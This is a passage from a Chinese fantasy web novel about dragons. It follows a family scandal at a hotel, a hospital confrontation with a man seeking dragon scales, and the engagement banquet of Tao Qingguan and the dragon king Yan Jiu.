可里面的敲门声非但没有停止,反而愈演愈烈,似乎是遭受了什么非人的对待。 有围观群众看不下去,对保安道:“你们赶紧进去,我们这么多人在,他都不收敛,怕不是磕yao了。” ‘磕yao’这个词踩在华人的敏感区。 几位保安互相对视,不顾陶凌霄的反对,大步来到门前。 带头的保安用力敲门,大声喊道:“里面的人快点开门,不然我们就要破门而入了。” 面对保安的威胁,门内没半点回应,带头保安眉心拧紧,一手拿着防暴棍,一手推开门。 门还未完全打开,一位裹着床单的女人冲出来,女服务员哭得梨花带雨,颤颤巍巍地躲到保安身后,裸露在外的肌肤布满青紫。 紧接着一坨肥肉冲出来,直奔女服务员,嘴里嚷嚷着,“小翠,小翠……” 陶凌霄目眦欲裂,他死死盯着陶桑云,脚下像生了根钉子,挪动不了分毫。 混在人群中围观的陶清观小声跟宴氿咬耳朵?“我大伯母不管是名字,还是小名,里面都没有翠字。” 所以这个‘小翠’就很耐人寻味了,哪怕现在被陶桑云叫的这个人不是小翠,恐怕也确确实实存在小翠这个人。 简单点讲就是,陶桑云在外头养小三了。 保安三两下将冲过来的陶桑云制服,即使被压在地上,陶桑云仍望着女服务员的方向,下ti不断和地面磨蹭,还伴随着粗重的喘息声。 女服务员瑟瑟发抖,她依偎着来安慰她的人,声音颤抖,“他力气太大,我……我跑不掉。” 她纤细的手腕上留有清晰的指印,几乎在场的所有人都相信了她的说辞。 一开始跟陶凌霄对峙的女人更是怒不可遏,“人渣,我这就报警。” “好,报警。”陶凌霄目光沉沉,黝黑地眼眸紧盯着经理,“他的状态,一看就是被人下药,好好的人,出去一趟就变成这样,我也想听听你们酒店的解释。” 报警电话已经打出去,经理想开口也没机会,他赶忙将这边的情况报告给上层。 陶凌霄注意到经理的动作,忽然转身大步离开。 周围的人顾着看陶桑云,一时间也没人拦他。 陶清观望着陶凌霄离开的方向,在心底轻啧一声,倒是有点脑子。 他猜测,陶凌霄应该是回去拿那瓶酒,以免酒店的人偷梁换柱,不过他觉得拿到那瓶酒也没什么用。 陶清观扫过被床单捆住的陶桑云,对方这样子可不像是喝了两杯酒导致的,更像是磕了那方面的药。 他的目光掠过低头轻啜的女服务员,如果他没看错,一开始他们打开门,对方是配合陶桑云的,而见到他们后,对方的态度三百六十度逆转。 不排除对方被胁迫的可能,但陶清观总觉得哪里不太对劲。 第107章 第 107 章 陶清观:骗保?罪加一…… 警察很快就抵达现场, 将包括陶凌霄在内的几人带走,但调查结果确让所有人大跌眼镜。 陶桑云确实磕了yao,但那药是他自己带的, 并且陶桑云车里还有装药的瓶子, 至于那瓶酒,确实有点问题, 可酒店一口咬死,那瓶酒就是特制的,用来壮阳的, 是实习生意外拿错,对身体无害。 纵使知道其中有问题,也没法让酒店担主要责任。 再加上女服务员的证词,说药是陶桑云主动吃的,而警方也没发现有强迫的痕迹, 这件事愈发往不利陶桑云的方向走。 陶清观吃完全部瓜,大概理出头绪。 大概是陶桑云色欲熏心,被人一勾引就眼巴巴地跟上去, 结果被人给利用了。 陶桑云家现在一地鸡毛, 他大伯母跟陶桑云闹离婚,陶笠鹤更是带着棍子入场, 一副不把陶桑云打出屎就不罢休的模样。 这部分陶清观没参与, 陶笠鹤正在气头上,他还是不去刷存在感为妙。 陶清观放下交叠的双腿, 翻了个身趴在沙发背上, 望向坐在藤椅上的宴氿,“你不去特管局坐镇?” 闹出这一大丑闻,陶笠鹤肯定要优先处理, 特管局的事他拜托宴氿看着,换做以往陶笠鹤肯定不会拜托宴氿,可现在他们不是快成一家人了,麻烦宴氿一件小事自然没有问题。 宴氿直言不讳,“不想去。” 陶清观诶了一声,眉尖上挑,果然即使是龙,也不喜欢上班。 话虽这么说,宴氿还是合上手中的书,他站起身,问道:“跟我一起?” “不要。”陶清观缩回去,难得的假日,他才不想出门。 宴氿早就猜到这个回答,他心中无奈,所以说他不想去。 大门开启又关上。 陶清观在沙发上倒得四仰八叉,莫约十点多钟,他玩游戏玩得好好的,忽然一个电话打进来,陶清观想也不想,直接挂掉。 可对方十分有毅力,电话一个接着一个,将屏幕最上面一栏挡住,视野被占,陶清观一时不察,被对面的人给蹲了。 陶清观脸当即就黑了,他退出游戏,把那个手机号拉黑,顺带举报,忿忿不平地回到游戏界面。 这件插曲陶清观没放在心上,游戏打到中午,他点了个外卖,边吃边跟小渡唠嗑,下午再去书房看书,充实的一天就这么过去。 至于下午收到的那几条,被手机自动划分为垃圾短信的消息,陶清观看也没看,他短信早就99+,这年头除了发广告的,谁还用短信联系。 以至于被人找上门,陶清观仍一头雾水。 事情发生在工作日的中午,这天是他一个人值班,眼看时间差不多,陶清观准备脱下白大褂吃午饭,结果科室的门被敲响。 一看时间,11:58,距离休息的点还差两分钟,好一个死线战士。 陶清观无奈,将解开的纽扣重新扣回去,他打开门,熟练地开口,“缴费单给我,手机缴费去导医台写张纸条,患者一个人进来,家属在外面等就行。” 戴着口罩和帽子的人站在门口,他的脸被挡得严严实实,只看身形应该是个男的。 奇奇怪怪的患者,陶清观见过不少,他没多想,让出门口的路来。 男人沉默不语,他缴费单交给陶清观,抬脚踏进屋内,反手将门关上。 陶清观不由多看对方一眼,心底感慨,知道随手关门的患者真好,是个好人。 “坐蓝色凳子上。”陶清观坐回自己的位置,例行询问,“耳朵怎么不舒服,有多长时间了?” 男人忽然笑了,声音粗粝,像是很久没喝过水,他抬起头,露出一双浑浊的眼珠,“你在躲我,为什么?是不敢面对自己心底的欲望吗?” 陶清观感觉这声音有点耳熟,但他又想不起来在哪里听过,他视线扫过男人的眉眼,对这张脸实在没印象。 他放在键盘边的手按下呼叫键,这是通知保安室用的,预防一些情绪激动的患者做出过激的举动。 眼前这位,脑子似乎不太正常。 “你是离龙最近的人,应该比谁都了解龙的强大,你从来没有心动过吗?”男人声音中带着蛊惑的意味,“只需要提供几片龙鳞,我就会和你共享研究成果,几片而已,对龙不会有任何影响,而你也能获得化龙的方法。” 陶清观回过味来,这好像是之前给宴氿打电话的那位,当时电话被他接到,他还忽悠了对方一把。 对方这是放弃说服宴氿,转而收买他了? 可……他貌似也是龙来着。 陶清观刚要开口,几名保安快步走进来。 男人猛地转头,看清来人,他眼底泛起狠厉的色彩,“嘁。” 他扭头回看陶清观,信誓旦旦道:“你会来找我的。” 男人起身向窗边冲去,他拉开窗帘,打开窗户,眼眸死死盯着陶清观,然后纵身一跃……没跃下去。 众所周知,医院为了防止患者跳楼,比较大的窗户外边都会加上防护栏。 陶清观就看着男人跳到窗户和防护栏中间的隔层上,卡在那不上不下,而冲进来的保安更是好言相劝。 “别冲动,有话好好说。”年纪大点的保安放下手中的防暴棍,举起双手慢慢靠近,“做事之前要想想自己的家人,你要是出事,他们该有多伤心。” 陶清观:“噗嗤。” 他捂住自己的嘴,撇过头去,忍着没笑场,好在他漏出的那一声,声音比较小,不然他就要受到保安们谴责的目光了。 男人大半张脸都被遮住,但仅从漏出的那部分也能看出他面目狰狞。 他一手握拳,风声猎猎作响,围栏瞬间被冲破,他从空隙中钻出,瞬间不见踪影。 陶清观快步追上,他顾不得逃跑的男人,连忙控风稳住掉落的围栏碎渣。 楼下传来尖叫声,人群纷纷避让,待所有人都跑光,陶清观才任由围栏坠地。 旁边反应过来的保安跑到陶清观身边,他神色不忍地往下看,可预想中血肉模糊的画面并没有出现,他愣住,不敢置信地揉了揉眼睛。 “这……”这是什么情况!? 陶清观:“可能……是干替身演员之类的,身手比较好,我们这也就三四层高,对他来说轻轻松松。” 这、这对吗? 保安张了张嘴,说不出话来。 陶清观抬手拍了下保安的肩膀,开口道:“行了,该报警报警,该上报上报,记得再通知一下维修部,这围栏装得太不结实了。” 保安:“……哦。” 陶清观靠在窗边,侧眸望着一地狼藉,轻啧一声。 这么大动静,让人想忽视都难,估计有不少人拍了视频,到时候公关也是一道难题,不过这些都不是他要操心的事。 陶清观拍好照片,顺带解释了一下情况,然后给陶笠鹤发过去。 科室内虽然没有监控,但医院走廊有,特管局那边肯定有方法调取监控。 在告诉宴氿的时候,陶清观犹豫了一下,告诉吧,宴氿肯定会紧张兮兮,说不定还要跟着他来上班,但不告诉,宴氿又迟早会知道,到时候更麻烦。 陶清观想到宴氿跟他生闷气的模样就头疼,他果断按下发送键,将这边的情况告诉宴氿,其中着重强调自己没事,但下一秒视频通话还是打来了。 他扯了下唇角,点开接听键。 “有没有哪里受伤?” 陶清观无奈,“他连碰都没碰到我,我们就说了两句话。” “医院安保设施这么差?”宴氿蹙眉,仔细打量陶清观,“他应该被列入黑名单了,怎么能挂上号。” “或许用的别人的医保。”陶清观眉尖下压,谴责道:“骗保,罪加一等。” 听到这话,宴氿眉心稍微舒展开,他开口道,“你做很好,下次发现不对也要第一时间叫人,不用管他会不会跑掉,你的安全最重要。” 陶清观想说正面对上,那人也不一定能拿他怎么样,可看到宴氿担忧的目光,他将到嘴的话又咽回去。 “我知道了。” 宴氿脸上总算有点笑意,“晚上我去接你。” 经这么一出,医院肯定会加强人手,陶清观在医院内安全能有保障,但下班一个人回家时,说不定会给那人可乘之机。 听到预料之中的话,陶清观轻叹一声,“好。” 电话挂断。 陶清观跑去骚扰小渡,“小渡,人哪能变成龙,我感觉那人已经魔怔了。” “理论上来说,是有的。” 小渡的回答让陶清观愣住,不待他追问,小渡就将知道的全说出来。 “在修真盛行的年代确实有淬炼血脉的方法,也有不少人类尝试过,最后成功的例子大部分都是变成不人不妖的形态,不过这种只能拥有普通妖族一半,甚至更少的寿命,我从未听闻过有人完全变成另一物种。” 说到这小渡顿了一下,似乎在思考要不要告诉陶清观。 “……你比较特殊,如果你去尝试这类方法,能够完全褪去体内属于人类的那一部分,无论是实力还是体质都会有质的变化。” 陶清观已猜到,但他还是问出口,“代价呢?” 小渡声音依旧柔和,可听在耳中却显得十分冰冷,“一到两条龙的rou身,若是以宴氿的实力,一条足矣。” 气氛倏然变得古怪起来,像是安逸的羊群中冲进一匹狼,安详的生活被打破,面纱揭开后事残忍的屠杀。 陶清观笑了两声,打破沉默的氛围,“这种不着边际的事听听就算了,小渡,你可不许告诉别人。” 小渡:“嗯。” 第108章 第 108 章 订婚宴 男人背着包快步行走于人群之中, 他脱去伪装,竖起的风衣衣领遮挡住大半张脸,他低着眉眼, 在监控死角拐入小巷。 周围的行人逐渐变少, 在他拐入下一个弯后,路上只剩下他一人。 男人半靠着墙壁, 胸口剧烈起伏,他锤破玻璃的那只手止不住的颤抖,冷汗浸湿他的鬓角, 若隐若现的鳞片自他耳后向上蔓延。 时间不够了。 男人眉心拧得能夹死一只苍蝇,他抬起颤抖的手臂,突起的青筋盘旋其上,狰狞骇人,似乎下一刻就会破裂。 细密的鳞片沿着指甲浮现, 枯槁的手指越发干瘪,这只手已脱离人类的范畴。 龙鳞也好,龙血也罢, 他必须快点搞手, 不然他的身体就要崩溃了。 男人目光狠厉,在改变之前, 他们谁也没想到这个过程只要开始就不能停下, 随着过程进行,身体对龙鳞的需求量越来越高, 甚至光靠龙鳞已经无法满足。 他渴望滚烫的龙血, 炽热的龙肉,他要成为龙。 想起那条将龙鳞交付给他的龙,男人眼底划过一道惋惜, 听说龙的身体不经过特殊处理,死后一段时间就会化为灵回归自然。 那条龙估计已经死了,但大海太过辽阔,纵使他能找到对方的尸体,也来不及了。 而另一条龙…… 男人眸色渐深,他没想到对会坚定的站在人类那边,他几次挑拨都没动摇对方分毫。 他现在手边已经到无人可用的地步,最后一个手下被他派去和宴氿接触后,就再也没有回来过,还有陶清观。 陶家的人一个比一个麻烦,不过人多了,总会有漏洞。 男人拿出手机,看着上面的新文截图,扁薄的唇弯起一个笑容。 他当过一段时间黑客,搜查信息对他来说手到擒来,不一会儿,他就找到陶桑云的联系方式。 电话播出,短暂地盲音后,听筒中传来另一边的声音。 男人嘴角的弧度越发明显。 “你好……” …… 陶清观坐在副驾驶上,心不在焉地望着窗外,倒是宴氿坐在驾驶坐上开着车。 宴氿途中瞥了陶清观一眼,问道:“怎么,心情不好?” “没有。”陶清观岔开话题,“你之前怎么不说你还有驾照。” 宴氿回答,“刚考的,到手没多久。” 陶清观闻言,瞬间坐正,他一手握着安全带,后背抵着椅背,视线瞄着两边后视镜,紧张道:“要不换我来开。” “不用。”宴氿自信,“我驾照科目都是一遍过的。” 驾照考试和真正上路完全不一样啊,陶清观神色有那么一丝凝重,生怕宴氿给他开沟里去,好在宴氿干什么都挺稳的,没有让他的车化身邪恶大鼠标。 就是这开的方向不太对,完全偏离回家的航线。 “拐错弯了。”陶清观提醒道:“你要去超市买东西?” 宴氿目视前方,回答道:“忘记跟你说了,去玄北那里拿个东西。” 提到玄北,陶清观脑海中就浮现大乌龟到处喷水的样子,他扯了下唇角,问道:“去公园,还是去动物园找他?” 玄北的工作向来稳定,找个有钱的园区待着,自有人为他提供一日三餐。 宴氿:“他出来租房子了。” 陶清观一愣,不敢相信玄北居然改头换面,但真正让他惊讶的还在后面。 “应该是找了伴侣。”宴氿开口道:“但他不承认,你别在他面前提。” 陶清观记性很好,脑海中飘过一号人物,“他之前说的那个饲养员?” 宴氿点头。 陶清观心底感慨万千,有种孩子长大,知道谈恋爱的感觉。 这种感觉一直维持到陶清观和玄北见面,陶清观看大乌龟的眼神都带着一丝慈祥。 趴在鱼缸里的mini版玄北被看得龟壳发毛,它在水里吐了一串泡泡,缓缓浮上来,开口道:“东西在桌子上,你们拿了就走吧,记得关门。” 陶清观悄咪咪打量周围,没发现另一人的身影,顿时有些失落。 玄北注意到陶清观的小动作,说道:“他还没下班,而且他做饭很难吃,我劝你们不要尝试。” 说到这,玄北的豆豆眼中浮现嫌弃,他仰起头,望向宴氿,“让我过去玩两天呗,没鱼缸,分我个水池也行。” 宴氿冷酷拒接,“不行。” “嘁。”玄北脑袋耷拉下去,“小气鬼,枉费我花那么多时间帮你修法器,你注意点,下次再坏可修不好了,有这种特性的法器难得,想找到另一对,我看难。” “我知道。” 宴氿拿起桌上的手链带上,赤红的珠子上有细密的黑线,如分布复杂的血管,有规律的鼓动着。 陶清观一扫而过,他早就注意到宴氿的手链不见,原来是交给玄北维修了。 他下意识抚过腕上的手链,得出一个结论,不要和老婆吵架,伤身伤钱,这个道理在同性伴侣间也适用。 “回去吗?” 玄北说完刚刚那句话就不吭声了,显然不乐意招待他们。 宴氿的视线从手链上收回,“好。” 之后的日子出乎陶清观预料的平静,那人没再冒出来找茬,身边也没再出现意外,好像对方认命放弃了一般。 时间就这么来到陶清观和宴氿订婚的日子。 这一天,作为主要嘉宾的陶笠鹤早早醒来,穿着西装,花白的头发疏到脑后,露出锃亮的额头。 他精神抖擞地站在镜子前给自己挑选领带,前段时间尽是些晦气的事情,今天总算能洗洗晦气。 就是不知道会场布置的怎么样,宴氿全程没让他参与,对方有心,他便没多过问,有宴氿把关,他很放心。 陶笠鹤收拾好自己,一个电话打给陶清观。 正在睡觉的陶清观被电话铃声吵醒,他迷迷糊糊地看了眼联系人,按下接听键,脑袋埋回枕头里。 “爷爷啊,你知道现在几点吗?” “六点。”陶笠鹤的声音中气十足,“快起来,早点准备,免得出差错。” 陶清观:ZZZzzz “嘿,你这小子。”陶笠鹤刚要开训,一只大手闯入镜头,将手机抽走。 宴氿拿起手机面向自己,他身着新中式西装,衬得身子越发挺拔,一袭长发利落地束在身后,垂落的一缕发丝,让他柔和些许。 “等会我叫他,不会迟到。” 宴氿的面子陶笠鹤肯定是要给的,他一改刚刚的嘴脸,说道:“好,我……” 话没说完,陶笠鹤那边一个插播电话打进来,他看清备注,面色微变,到嘴的话转了个弯,“我晚点到场。” “嗯。” 宴氿对陶笠鹤那边发生什么并不关心,他现在只想在订婚宴上和陶清观留下,属于他们的美好回忆。 他垂下眼眸,望着陶清观不太安稳地睡颜,唇角扬起,宴氿伸手撩起陶清观耳边的碎发,轻声道:“再睡半小时,就该起床了。” 陶清观嘴里嘟囔了几句,将脸换了个边继续睡。 不过该来的总会来的,半小时一过,宴氿准时将陶清观叫醒,监督人洗漱换衣服。 楼下的造型师们早早就在等待,陶清观睡眼惺忪,走到椅子前坐下,几位造型师忙前忙后。 相比陶清观的松弛,几位造型师就紧张多了,因为宴氿跟个门神似的站在那,一瞬不瞬地盯着陶清观这边,锐利的目光看得造型师们不敢出一丝差错。 “来,看我这边。” 陶清观配合着造型师扭头,余光瞥过镜子中的自己,他还有一些不真实,换做之前,他怎么也想不到自己居然会在这个年纪订婚,比他预想的得早个十来年。 这时,造型师托起的他的下巴向一旁侧去,动作间,目光与宴氿交汇,对方眉眼温柔,像是荡漾碧波的深潭,在午后阳光的照耀下宁静缱绻。 好吧,他承认这样也不错。 陶清观仍由造型师折腾,他底子不错,脸上没被捣鼓太久。 而由于宴氿在,他两也省去迎宾的过程,毕竟就算让宴氿去,也没几个人敢接受宴氿的鞠躬,索性省略,两边都自在点。 于是陶清观一路舒坦到宴会场地。 哪怕这个场地是他和宴氿一起挑选设计的,但进去的那一刻,陶清观还是忍不住咂舌。 宴氿作为龙王不可能缺钱,而陶笠鹤要面子自然不会出的少,这就导致一些装饰品用料比他们最初订的还要好。 陶清观抬眸,红色绸缎系满横梁,金线穿梭其中,在灯光的照耀下熠熠生辉。 凡是目能所及之处细看都能发现巧思,即使是不起眼的角落,也刻着浮雕作为装饰,整个会场装饰虽然繁琐,却又因为色调搭配而看着整齐悦目。 顺便一提,装饰用的古董都是真的,出处自然是某条有点收集癖的龙。 陶清观忘了眼支架上的青花瓷瓶,心底吐槽,也不怕被人顺走。 他牵着宴氿的手走进会场,徐婉晴注意到他们,立即走过来,她上下打量着陶清观和宴氿,眼底尽是满意。 “不错不错,看着就很登对。”徐婉晴伸手为陶清观捋了捋衣领,“你爸一来看到是订婚宴,脸都变了,我让他滚到角落坐着,别碍眼。” 徐婉晴说着,瞄了眼最边上的那桌,陶清观顺着对方的目光看去,果不其然看见埋着头的陶雨霖。 除了订婚宴,还能是什么宴吗?这有什么能误会的地方。 陶清观感觉有一丝奇怪。 “没想到你爷爷这么轻易就松口。”徐婉晴感慨,“也是,把你交给小宴,没什么好不放心的。” 听到这话,陶清观心底那丝奇怪的感觉愈演愈烈。 第109章 第 109 章 陶笠鹤:也没人告诉我…… 陶清观鱼宴氿对视一眼, 彼此都从对方眼中看到那么一丝不确定。 宴氿握紧陶清观的手,迎上徐婉晴的目光,“陶笠鹤有和你说过什么吗?” “嗯?”徐婉晴思索了一下, “没有, 不过我每次和他见面,他都挺开心, 还夸了囡囡,肯定是满意的,更何况他要是不满意, 一开始就不会同意。” 这话听着在理,陶清观压下心底的异样感,应该没问题……吧。 他环顾四周,没看到陶笠鹤的身影,以对方的性子应该早早到场才对, 还有陶桑云一家也不见踪影,之前可就属他们最殷切。 陶清观眉心微蹙,问道:“爷爷今天是有什么事吗?” 听到这话, 徐婉晴凑到陶清观身旁, 压低声音说道:“好像是你大伯那边又出了状况,你爷爷过去处理了。” 陶清观啧了一声, 他看爷爷最想处理掉的应该是陶桑云, 不过天塌下来也有陶桑云这个孽子挡着,陶清观心安了。 他告别徐婉晴, 和宴氿往台后走, 这人啊,最经不起念叨,他们还没走两步, 就遇见从侧门走进来的陶笠鹤。 陶清观向外瞄了一眼,诧异道:“爷爷,你怎么不走正门。” “还不是为了逮你大伯那个蠢货。”陶笠鹤摆摆手,不欲多谈。 看着站在一块的陶清观和宴氿,陶笠鹤那点糟心感总算淡去不少,他就是偏心,一头蠢猪,和一个乖崽比,他难道还能更喜欢前者不成。 能捏着鼻子帮陶桑云收拾烂摊子,陶笠鹤感觉自己当爸的就已经仁至义尽了。 陶笠鹤轻叹一声,拍拍陶清观的肩膀,“今天这么好的日子,不提那些事,你两赶紧去准备。” 见陶笠鹤这副模样,陶清观一颗心更踏实了,他开口道:“也没什么好准备的,就那么点流程。” “那可不成。”陶笠鹤瞄了眼四周,偷偷摸摸从怀里掏出一张小纸条,在陶清观面前抖了抖,得意道:“这可是花费三个晚上写的。” 纸条没打开,但陶清观透过背面也能看见上面密密麻麻的字,他唇角微微抽搐,“行叭。” 老人家开心就好。 陶清观跟宴氿继续往后台走,他们和司仪又确定了一遍流程和细节,然后坐到主桌等待。 随着灯光变幻,订婚宴正式开始。 司仪走上台,有条不紊地说着祝福词。 台下的陶笠鹤配合着鼓掌,布满皱纹的脸上满是欣慰。 “……愿你们始于初见,止于终老,执手相伴一生,愿岁月无情,埋没病痛离别,愿岁月有情,温存爱意缱绻……” 说得不错,可这爱意是不是不太恰当。 陶笠鹤拧眉,他盯着台上滔滔不绝的司仪,心中不满,果然,他应该提前过目台词,杜绝这些小差错。 “……感谢各位百忙之中抽出时间,参加这场订婚宴,下面有请陶老先生上台。” 订、订婚宴!? 陶笠鹤虎目瞪圆,死死盯着台上的司仪,对方不慌不忙,完全不像说错词的样子。 他僵硬地转过头,望向靠在一起的宴氿和陶清观,两人举止亲昵,神态自然,这下他终于知道之前的违和感是从哪来了。 靠! 司仪见陶笠鹤久久没有动作,以为对方没听见,又拔高音量说道:“陶老先生,该您上台了。” 他打趣道:“我们陶老先生准备了长长一段贺词,可以说是饱含拳拳爱护之心。” 陶笠鹤面皮子抽搐,他宛如生锈的机器人,一卡一顿地站起身,在所有人的注视下,他缓慢走上台。 结果麦克风,陶笠鹤望着台下,感觉自己步伐飘浮,他颤颤巍巍地拿出稿子,纸上黑色的字宛如一只只蚂蚁,爬来爬去,让人根本看不清。 他咽了口唾沫,喉咙仍旧干涩,“今天……” 台下的陶清观默默把脸转向一旁,不忍直视,他感觉陶笠鹤看似人还在,实则已经走了好一会儿。 他扯了下身旁宴氿的衣袖,小声道:“爷爷他是不是误会什么了?” 宴氿嗯了一声,神色平淡,“应该是,又不是第一次了,不用管他。” 哇,听着更惨了。 陶清观在心底同情了陶笠鹤一把,这么大年纪也不容易,不过像他爷爷这种明事理,善解人意,又体谅小辈的人事后肯定不会为难他们的。 反正木已成舟,说也没用。 陶笠鹤都不知道自己是怎么从台上走下来的,他神情严肃,但仔细看会发现他目光飘忽根本没有聚焦。 之后宴氿和陶清观上台说话,他也没听清这两人在说什么,就看见最后宴氿低头轻了下他乖孙的脸蛋。 陶笠鹤咬碎一口银牙,憋屈又没处说理。 他乖孙就二十多岁,宴氿这个老东西怎么有脸!? 陶笠鹤目光紧随宴氿,那眼神恨不得上去给对方两拳,若不是顾忌着今天来宾太多,他已经掀桌子了。 他握紧玻璃杯,忿忿灌下半杯果汁,一口气卡在喉咙眼不上不下。 这时有几人端着酒杯过来,都是陶笠鹤的老相识,他们满面笑容地祝贺。 “唉,还是老陶你想得开,这也不错,龙王是个良人。” “这也算亲上加亲,双喜临门,有龙王在,以后陶家不用愁咯。” “是啊,孩子喜欢,做长辈的也开心。”一位面上带着愁容的老人感慨,“前不久,我小孙子给我带了个男人回来,我把两人都赶了出去,现在想想,他把人带到我面前,就是希望我祝福。” 老人抬手拍了拍陶笠鹤的胳膊,开口道:“谢谢你,老陶,我回去之后再找那孩子谈谈。” 陶笠鹤强颜欢笑,脸上皱纹挤出一堆,“哪里哪里,孩子们都会有自己的想法,我们做长辈的只能多担待点。” “是啊……” “……” 陶清观坐在宴氿身旁,宴氿回绝了几波敬酒的人之后,他们这边清净不少,陶清观望向被人群围着的陶笠鹤,开口道:“我就说爷爷不会拿我们怎么样,你看,他笑得多开心。” 宴氿扫了一眼,注意到陶笠鹤面皮在抽搐,他眉角上挑,如果这也算开心的表现,那陶笠鹤是挺开心的。 他收回目光,将剥好的虾放入陶清观碗中,“再吃点,吃完我们去拍照片。” 还拍。 陶清观笑不出来了,虽然吧,他是挺期待这场订婚宴,也想和宴氿留下更多美好的回忆,可他们少说拍了有几百张了。 生产队的驴都不带这么使的。 陶清观尖叫小猫痛苦抱头。 他磨磨唧唧地吃饭,但躲得了初一,躲不过十五,最终他还是逃不开宴氿的‘魔爪’。 陶清观认命,跟宴氿在宴会场里溜达,拍到一半,他们迎面遇见大步走来的陶笠鹤。 陶笠鹤沉着脸,语气肃然,“你们跟我来。” 这话完全不留拒绝的余地,陶清观还是第一次见陶笠鹤在宴氿面前这么硬气。 他悄悄往宴氿后边退了一步,让宴氿打头阵,路上陶清观左顾右盼,打量地形,寻找逃跑的最佳路线。 不等他规划好,陶笠鹤已经将他们带进宴会旁的休息室。 眼看陶笠鹤要开口,陶清观眼珠子转悠,立即先发制人,“你放心,我肯定会像你说的那样,好好跟宴氿,绝对不恃宠而骄。” 陶笠鹤:“我……” “我知道。”陶清观抢答,“不就是贺词没读完,有点短,台上紧张,没人会在意的。” 陶清观搭上陶笠鹤肩膀,好哥两似的,抬手拍拍对方胸脯,“这下大家都知道我和龙王的关系了,以后你再也不用担心会有哪个不长眼的来欺负我。” “爷爷你怎么不说话?” 陶笠鹤胸脯剧烈起伏,偏过头瞪向陶清观,“臭小子,你给过我说话的机会吗?” “给了给了。”陶清观一脸无辜,“台上你讲的话我都记着呢。” 陶笠鹤气急败坏,“记记记!有……” 陶清观打断,“baby。” 陶笠鹤:“……” “有什么好记的,我帮你说完。”陶清观看陶笠鹤憋屈得慌,怕把人气厥过去,他拍着陶笠鹤的后背帮人顺气,“莫气莫气,气坏身体无人替。” 陶笠鹤瞪着陶清观说不出话来。 “来来来,先坐。”陶清观乖巧地将陶笠鹤扶到一边。 这时,手机铃声突然响起,这铃声听着是陶笠鹤的。 陶清观帮陶笠鹤把手机拿出来,贴心地放在陶笠鹤耳边,按下接听键,讨好地冲陶笠鹤笑笑。 下一秒,手机里传出陶桑云杀猪般的哭嚎声。 “爸!爸!你一定要救我,那女人死了,现在警察要抓我,你救救我!真的不是我干的!” 似是怕陶笠鹤见死不救,陶桑云哭得一把鼻涕一把泪,扯着嗓子为自己辩驳,“我这几天都没见过她,她莫名其妙死家里关我什么事,还有孩子,爸,赶紧找人做亲子鉴定,她肚子里的孩子肯定不是我的。” 陶笠鹤睁着的眼睛最终还是闭上了。 陶清观在心底哦呦一声,背着他整得这么刺激,他还想接着听,但手机被陶笠鹤抢过去。 见陶笠鹤气得脸色都红润了,陶清观不敢再冒头,默默退回宴氿身旁,小声问道:“你知道点什么不?” “没在意。”以宴氿的耳力自然听见了电话的内容,他神色漠然,薄唇轻启,“流点血,也算喜庆。” 陶清观一怔,他望向宴氿,对方眼底没有半点波动。 他张了张嘴,顿了一下才发出声音,“总归与我们无关。” 那边陶笠鹤没讲两句就挂断电话,他对陶清观道:“回会场,你们两主角可不能提前离席。” 陶清观追问:“那你呢?” 第110章 第 110 章 宴氿:要不再结个婚?…… 陶笠鹤面上看不出喜怒, 他反问道:“你觉得我该不该帮他?” “啊……”陶清观瞄着陶笠鹤的神色,拿不准对方什么心思,他试探着开口, “我说了你可不准生气。” “嗯。” 陶清观眉心微蹙, “这也没什么好帮不帮的,如果不是大伯做的, 有爷爷你在,怎么也不可能让他蒙受冤屈,如果是大伯做的, 那也没什么好说的了,杀人偿命,不死也是个无期。” 听完陶清观的话,陶笠鹤面色不变,只是微不可闻地叹了口气, “你大伯脑子要是有你一半好使,就不用我这么费心了,只怕他给别人做了嫁衣。” 陶笠鹤了解自己儿子, 从陶桑云刚刚哭诉的表现来看, 这事应该不是对方做的,但多半跟他沾上一点关系, 不然陶桑云也不可能那么慌张。 儿女都是债, 他上辈子做了什么孽,摊上这么个倒霉玩意。 陶笠鹤眉心褶皱加深, 开口道:“不管他, 让他沾沾教训,这场……宴会更重要,等结束再说。” 他在‘宴会’二字前顿了一下, 显然是想到刚刚的离谱事迹,一时间陶笠鹤那张老脸跟便秘似的,好不精彩。 陶笠鹤望着乖巧站着的陶清观,话在嘴边转了几圈都没说出口。 有陶桑云这个对比在,衬得陶清观这事也没什么大不了,但仔细想想,又是五十步笑百步,好也好不到哪去。 陶笠鹤重重哼了一声,扭头走人。 落后几步的陶清观悄悄冲宴氿眨眼,无声说道:蒙混过关。 宴氿莞尔,他仍牵着陶清观的手,温暖的体温交织,这份温度独属于他。 他眉眼微弯,留在视野中的是陶清观的笑颜,今日是订婚,是时候该考虑婚礼安排在什么时候了。 还有……宴氿扫过陶清观被西装勾勒的腰肢,他不是柳下惠,不可能抱着爱人还无动于衷,一直忍到现在不过是因为少个名份。 纵使他能确定自己不会辜负陶清观,但他还是想将那件事留在重要的那一天。 得快一点,宴氿眸色渐暗。 而且陶清观都快玩得忘乎所以,对方时不时就在他洗澡的时候偷偷冒出来,企图偷看他洗澡,有时换衣服,对方也会趁机凑过来摸上几把,动作间全是肆无忌惮。 再拖下去,他怕是会忍不住把人摁床上办了。 陶清观注意到宴氿眼神怪怪的,他后背一凉,问道“看我做什么?” 宴氿微笑,“看你可爱。” 陶清观默默往旁边挪了一点,他总觉得宴氿现在脑子里想的不是什么好事。 三人回到会场,会场内热闹依旧,宾客丝毫没有因三人地短暂离开受到影响。 走了半天,陶清观感觉胃里的食物消化了一点,他拿起桌上的小甜点,放入口中,一口一个刚刚好。 余光瞥见桌边花瓶里的玫瑰,陶清观擦手的动作一顿,他勾起唇角。 陶清观两手背在身后,踱步回到宴氿身边,笑眯眯地望着对方。 “把手伸出来。” 宴氿偏过头,迎上陶清观的眸光,他乖乖照做,伸出手。 下一秒,他的掌心多出一只手,宴氿唇角挽起一抹弧度,就当他准备握住陶清观手时,一朵玫瑰花突然出现在他眼前。 那朵花晃了晃,似乎在邀请他接手,宴氿唇角的笑意更甚,抬手接过玫瑰,花枝上残留着余温,尖刺被贴心的除去,那朵玫瑰开得正艳。 “我都没送过你花。”陶清观语气有些懊恼,“失策了。” 他和宴氿都是男的,做准备工作时一时忘记准备捧花。 “我不在意这些。”宴氿转动着花枝,眉眼含笑,他忽然开口,“陶囡囡。” 陶清观下意识扭头,唇瓣撞上两片柔软的物体,宴氿的脸在眼前放大,耳边的喧闹声在这一刻倏然远去,世界静得只剩下他噗通的心跳声。 